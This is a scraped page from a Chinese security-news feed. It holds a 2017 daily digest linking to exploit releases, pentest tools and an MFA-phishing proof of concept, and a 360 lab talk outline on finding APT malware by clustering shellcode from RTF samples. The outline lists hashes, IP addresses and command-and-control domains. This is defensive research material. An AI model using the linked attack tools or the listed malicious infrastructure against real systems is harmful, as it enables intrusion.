本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。
原文链接:https://github.com/clr2of8/DPAT

【知识】8月25日 - 每日安全知识热点

$
0
0
【知识】8月25日 - 每日安全知识热点

2017-08-25 10:59:32

阅读:904次
点赞(0)
收藏
来源: 安全客





【知识】8月25日 - 每日安全知识热点

作者:童话





【知识】8月25日 - 每日安全知识热点

热点概要:安全研究人员发布iOS内核漏洞的漏洞利用代码、由正则引起的Wecenter拒绝服务漏洞、渗透测试常用脚本收集、0patching福昕阅读器的漏洞(CVE-2017-10952)、Knock Subdomain Scan v.4.1.0(子域名扫描器)、CTF Writeup - Flare-On 2016 - 10: flava。


资讯类:

安全研究人员发布iOS内核漏洞的漏洞利用代码

https://www.bleepingcomputer.com/news/security/researcher-releases-fully-working-exploit-code-for-ios-kernel-vulnerability/


技术类:

DeLuxe版本:在eLux Thin 客户机操作系统上获取root权限

https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2017/august/delux-edition-getting-root-privileges-on-the-elux-thin-client-os/


利用xwizard.exe加载dll

http://www.4hou.com/technology/6969.html


由正则引起的Wecenter拒绝服务漏洞

http://www.0aa.me/index.php/archives/139/


comission: 白盒CMS分析

https://github.com/Intrinsec/comission

https://securite.intrinsec.com/2017/08/16/comission-whitebox-cms-analysis/


0patching福昕阅读器的漏洞(CVE-2017-10952)

https://0patch.blogspot.com/2017/08/0patching-foxit-readers-saveas-0day-cve.html


Knock Subdomain Scan v.4.1.0(子域名扫描器)

https://github.com/guelfoweb/knock


MFA Slipstream:用于O365钓鱼多因子认证的PoC

https://github.com/decidedlygray/mfa_slipstream_poc/


CTF Writeup - Flare-On 2016 - 10: flava

http://vulnerablespace.blogspot.jp/2016/11/ctf-writeup-flare-on-2016-10-flava.html


UMCI与Internet Explorer:探索CVE-2017-8625

https://posts.specterops.io/umci-vs-internet-explorer-exploring-cve-2017-8625-3946536c6442


Salamandra:封闭环境中检测和定位spy microphones的工具

https://github.com/eldraco/Salamandra


DECONSTRUCTING A WINNING WEBKIT PWN2OWN ENTRY

https://www.zerodayinitiative.com/blog/2017/8/24/deconstructing-a-winning-webkit-pwn2own-entry


Needle in a haystack of .jar files [username enumeration]

http://sheepsec.com/blog/username_enumeration_via_jar.html


pentest-tools:渗透测试常用脚本收集

https://github.com/gwen001/pentest-tools


The French Connection: French Aerospace-Focused CVE-2014-0322 Attack Shares Similarities with 2012 Capstone Turbine Activity

https://www.crowdstrike.com/blog/french-connection-french-aerospace-focused-cve-2014-0322-attack-shares-similarities-2012/


WMI查询:ReturnValue vs uValue(和一些远程注册表)

https://blogs.technet.microsoft.com/positivesecurity/2017/08/24/wmi-queries-returnvalue-vs-uvalue-and-some-remote-registry/


Guilt by Association: Large Scale Malware Detection by Mining File-relation Graphs

https://www.cc.gatech.edu/~dchau/papers/14_kdd_aesop.pdf


分析Ruby中内存使用的Crash案例

https://robots.thoughtbot.com/a-crash-course-in-analyzing-memory-usage-in-ruby



【知识】8月25日 - 每日安全知识热点
【知识】8月25日 - 每日安全知识热点
本文由 安全客 原创发布,如需转载请注明来源及本文地址。
本文地址:http://bobao.360.cn/learning/detail/4315.html

【技术分享】通过Shellcode聚类识别定向攻击(APT)相关的恶意代码

$
0
0
【技术分享】通过Shellcode聚类识别定向攻击(APT)相关的恶意代码

2017-08-25 14:23:55

阅读:255次
点赞(0)
收藏
来源: 安全客





【技术分享】通过Shellcode聚类识别定向攻击(APT)相关的恶意代码

作者:360天眼实验室






【技术分享】通过Shellcode聚类识别定向攻击(APT)相关的恶意代码

作者:360天眼实验室


背景

APT 过程的关键环节

洛马的Kill Chain模型

武器构建

伪装的正常文档捆绑漏洞利用代码

载荷投递

发送带捆绑了恶意附件的邮件到目标

突破利用

目标尝试点击打开邮件附件,触发漏洞或代码执行机制,如果是内存类的漏洞,可能的Shellcode会得到执行


【技术分享】通过Shellcode聚类识别定向攻击(APT)相关的恶意代码

图片来源:http://www.darkreading.com/attacks-breaches/deconstructing-the-cyber-kill-chain/a/d-id/1317542

面临的挑战

获取定向攻击活动的线索

IP/Domain/Sample

从海量样本中识别特殊的样本

关注鱼叉邮件

大部分的恶意邮件附件是Botnet与勒索软件相关的


【技术分享】通过Shellcode聚类识别定向攻击(APT)相关的恶意代码

图片来源:https://www.threatconnect.com/platform/methodology/

鱼叉邮件攻击中所使用的漏洞


【技术分享】通过Shellcode聚类识别定向攻击(APT)相关的恶意代码
漏洞利用与shellcode

Shellcode:什么和为什么

基本上就是一段不需要操作系统负责加载执行的机器码

内存破坏类Exploit的必要组件,相对独立

1)漏洞利用成功以后第一阶段执行的指令,开辟通信通道连接到C&C服务器

2)获取其他恶意组件代码执行,包括后门远控及各种专用恶意组件


方法

样本集

关注鱼叉攻击中被高频使用的RTF文件

11672 个样本文件

绝大多数收集自VirusTotal, 40%被捆绑了已知的Exploit

漏洞在样本中分布


【技术分享】通过Shellcode聚类识别定向攻击(APT)相关的恶意代码

shellcode检测

扫描文件中可能存在Shellcode的对象

足够大的block


【技术分享】通过Shellcode聚类识别定向攻击(APT)相关的恶意代码

在Block中扫描Shellcode中频繁用到的指令

从ASCII转换为二进制

搜索Shellcode指令


【技术分享】通过Shellcode聚类识别定向攻击(APT)相关的恶意代码

使用IDA反汇编二进制数据

通过IDC脚本调用MakeCode()来查找和生成ASM代码

idaw.exe-c-A-S“extract_sc.idcoffset”binary_data.dat
【技术分享】通过Shellcode聚类识别定向攻击(APT)相关的恶意代码
Shellcode检测和抽取演示

【技术分享】通过Shellcode聚类识别定向攻击(APT)相关的恶意代码

【技术分享】通过Shellcode聚类识别定向攻击(APT)相关的恶意代码

【技术分享】通过Shellcode聚类识别定向攻击(APT)相关的恶意代码

Shellcode抽取

抽取统计

一半样本只包含一段shellcode

另一半样本包含两段Shellcode


【技术分享】通过Shellcode聚类识别定向攻击(APT)相关的恶意代码

【技术分享】通过Shellcode聚类识别定向攻击(APT)相关的恶意代码

Shellcode 聚类

N-gram feature


【技术分享】通过Shellcode聚类识别定向攻击(APT)相关的恶意代码

两阶段的 K-means 聚类

第1阶段挑出小簇

第2阶段划分剩下的大簇


【技术分享】通过Shellcode聚类识别定向攻击(APT)相关的恶意代码

【技术分享】通过Shellcode聚类识别定向攻击(APT)相关的恶意代码

统计


【技术分享】通过Shellcode聚类识别定向攻击(APT)相关的恶意代码

分析

两个基本假设

高级恶意代码有其独特的Shellcode

APT攻击由于其定向性涉及的恶意代码数量比一般攻击要少得多


【技术分享】通过Shellcode聚类识别定向攻击(APT)相关的恶意代码

已知的

Cluster 60

Sample 数量: 1

258fc73ce3ba011948f8704bbe3d87bc

www.agv-us.com

58.158.177.102


【技术分享】通过Shellcode聚类识别定向攻击(APT)相关的恶意代码

数据来源: Alienvault


Cluster 100

Sample 数量: 4

F845e5cc072360fa6ef1b8d50f9491ec

194.28.172.58


【技术分享】通过Shellcode聚类识别定向攻击(APT)相关的恶意代码

数据来源: Alienvault

360威胁情报中心的判定


【技术分享】通过Shellcode聚类识别定向攻击(APT)相关的恶意代码
未知的

Cluster 108

6 shellcodes

217.91.17.152:443 216.70.141.250:80 msnmail.mobwork.net

Cluster 56

2 shellcodes

firewall.happytohell.com

Cluster 65

6 shellcodes

boy-girl2013.narod2.ru


结论

一个简单有效的方法

可能漏过许多,但误报很少

单维度的数据异常不够

假设1并不一定正确

Shellcode可能并没有全部被抽取

聚类算法可以再优化


团队介绍

360天眼实验室

360企业安全集团的安全研究机构

关注恶意代码及APT攻击事件分析

2015年5月发布海莲花团伙的报告



【技术分享】通过Shellcode聚类识别定向攻击(APT)相关的恶意代码
【技术分享】通过Shellcode聚类识别定向攻击(APT)相关的恶意代码
本文由 安全客 原创发布,如需转载请注明来源及本文地址。
本文地址:http://bobao.360.cn/learning/detail/4317.html
Viewing all 12749 articles
Browse latest View live